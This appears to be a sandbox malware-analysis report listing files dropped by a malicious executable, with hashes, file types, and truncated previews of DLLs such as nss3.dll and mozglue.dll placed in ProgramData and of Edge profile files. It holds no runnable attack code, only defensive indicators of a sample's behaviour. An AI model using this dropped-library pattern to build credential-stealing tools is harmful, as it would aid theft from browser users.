Joe Sandbox View:	Filename: KMfWqiiMu0.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: hwWxZRwpeL.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: KTvTgKJSyw.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: W9f3Fx6sL4.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0dbfb120-79d8-4997-89e5-f0d0cee6edaa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46209
Entropy (8bit):	6.087038741633642
Encrypted:	false
SSDEEP:	768:AMkbJrT8IeQcrQg1o/wuu1hDO6vP6O0ZYhB0BuFZ6kUEhy1DhSCAogGoup1Xl3jF:AMk1rT8HVo/h6UqL01sRoghu3VlXr44
MD5:	CF098284E65E9FCFD6A5C08D33225725
SHA1:	71E6CE21341D5D6D3ED7D9E59AB2719ED3A33452
SHA-256:	1131514C576274C10946D6C5F25A1208FA0CF0B2823DBBF7A149F5B3348A81BF
SHA-512:	329C290FBAC7D4B59024098BBBFAA0CA3620B8049E5DF4D78A7B8B96958B005E11B4254D24A0F4E29EE5E708EBAFDE6914B1056DB7F4DDFEC04FA412B0974014
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730166391"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\23eb3754-6cc6-45d8-b23c-36c5e5132d3f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44686
Entropy (8bit):	6.095619349824851
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBdwuIhDO6vP6O0ZYht0BuFZ6kUEcGoup1Xl3jVzXq:z/Ps+wsI7yOEP6Uqjchu3VlXr4CRo1
MD5:	83B4A9FEAF9518036798CC101D20CDDC
SHA1:	574BA08491E41B6BE0409EC5938F93292CCF102B
SHA-256:	C5EEE7A939861DB6AD1959B26F6AEA97F476D5F73C1044326C40B192B8D65450
SHA-512:	DD9A64657303A16E3234B0FEC594F5917A500A6490FAFEBF594CD17DFE847B34A8A71527CBEEBE4A3C0450D102D9B287BA656F2569043451A118A88E99788952
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\606df728-4578-4cf3-aeca-b78a9d7d4ecd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090788195506753
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMowuF9hDO6vP6O+Ttbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6Gtbz8hu3VlXr4CRo1
MD5:	DEB98A27BECDD48186DA2A23DDA76C68
SHA1:	74CB2E55B405DE0FF78F2760C12DC8A6FC9B56B9
SHA-256:	2AE316771F4386A6839C7EB7499404CDAB9A55DED881597BA21BB9C14B2AC3FF
SHA-512:	1B45B0E94EA90585A2B135DE2EFF7223399A03CDCAF366DC3AD1C3FFC1D4997E542656F933351A7BFD72F1C2F1BEEC10D2573FD4D7F2C90CDD5FA2DA56235707
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\801342a5-8565-4984-83fa-b22e1ea29af4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44604
Entropy (8bit):	6.096222526004229
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB+wuIhDO6vP6O0ZYhFTPsiZJsmcGoup1Xl3jVzXr2:z/Ps+wsI7ynEG6Uqfchu3VlXr4CRo1
MD5:	30891A24F654A18393A84D724384A6A8
SHA1:	6EF46D0858CD507FDA023013D56A393B69A82013
SHA-256:	9004D4143359170E3DA524F980A1E7E5C8B8AA43B9363BB7A3F92918D3838F73
SHA-512:	111989A4330B3D388D23E902D14ECE1C37072FBAD4AF95D717A2D1C7573690131432BB8514F219CA2FC1F88564CE536E96A1A29BBE12B7A2B9DA7980C657003E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9a303d86-b108-4df6-93fa-a061486cecf8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44604
Entropy (8bit):	6.096222526004229
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB+wuIhDO6vP6O0ZYhFTPsiZJsmcGoup1Xl3jVzXr2:z/Ps+wsI7ynEG6Uqfchu3VlXr4CRo1
MD5:	30891A24F654A18393A84D724384A6A8
SHA1:	6EF46D0858CD507FDA023013D56A393B69A82013
SHA-256:	9004D4143359170E3DA524F980A1E7E5C8B8AA43B9363BB7A3F92918D3838F73
SHA-512:	111989A4330B3D388D23E902D14ECE1C37072FBAD4AF95D717A2D1C7573690131432BB8514F219CA2FC1F88564CE536E96A1A29BBE12B7A2B9DA7980C657003E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\4deae524-7139-48d2-88b5-63ff6e847f63.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640156600019748
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7y:fwUQC5VwBIiElEd2K57P7y
MD5:	CF5F0871A3745A85317A43ECCC3E08B5
SHA1:	D09B075E23832A146D9CA0E9C94FA25F1A6FC595
SHA-256:	C3368F87F586F7BA42EA73C4438A60FB2A6F65873CC9801968A370CF025256AD
SHA-512:	2E01C6EE2FE7BBE157F1A5FC172899DE97EFC2F18821E3F1DC1745E8FB4D0D907CCCDCD02F96E036AA5F61FBEDA2C7CB4F2F7F2D687D8D0BFD97CB6B211F715F
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640156600019748
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7y:fwUQC5VwBIiElEd2K57P7y
MD5:	CF5F0871A3745A85317A43ECCC3E08B5
SHA1:	D09B075E23832A146D9CA0E9C94FA25F1A6FC595
SHA-256:	C3368F87F586F7BA42EA73C4438A60FB2A6F65873CC9801968A370CF025256AD
SHA-512:	2E01C6EE2FE7BBE157F1A5FC172899DE97EFC2F18821E3F1DC1745E8FB4D0D907CCCDCD02F96E036AA5F61FBEDA2C7CB4F2F7F2D687D8D0BFD97CB6B211F715F
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67203E72-1FB4.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4570540815242972
Encrypted:	false
SSDEEP:	6144:1crMcO7ENnkcWKdnY9GqeyU44hl2aHCX:rmkcTd1f
MD5:	B288ECF54B52F89F198D6B454B6D7C08
SHA1:	9A284BEFCDC40D2428512627B4F570F52FA18286
SHA-256:	2B7522F96161164DE9E31203AB569D5A8D00DFD7712D97ED45A5BEABDE166B6F
SHA-512:	F484367A3EB8CB932FE65876DCB28897B31C771C5309D0DE54232CC7DE5C778E60874583B833D80CE61D47A738CAD9D5A156804FC16F7BB92DE06FEC0DF40527
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".uxikhl20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2............... .2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
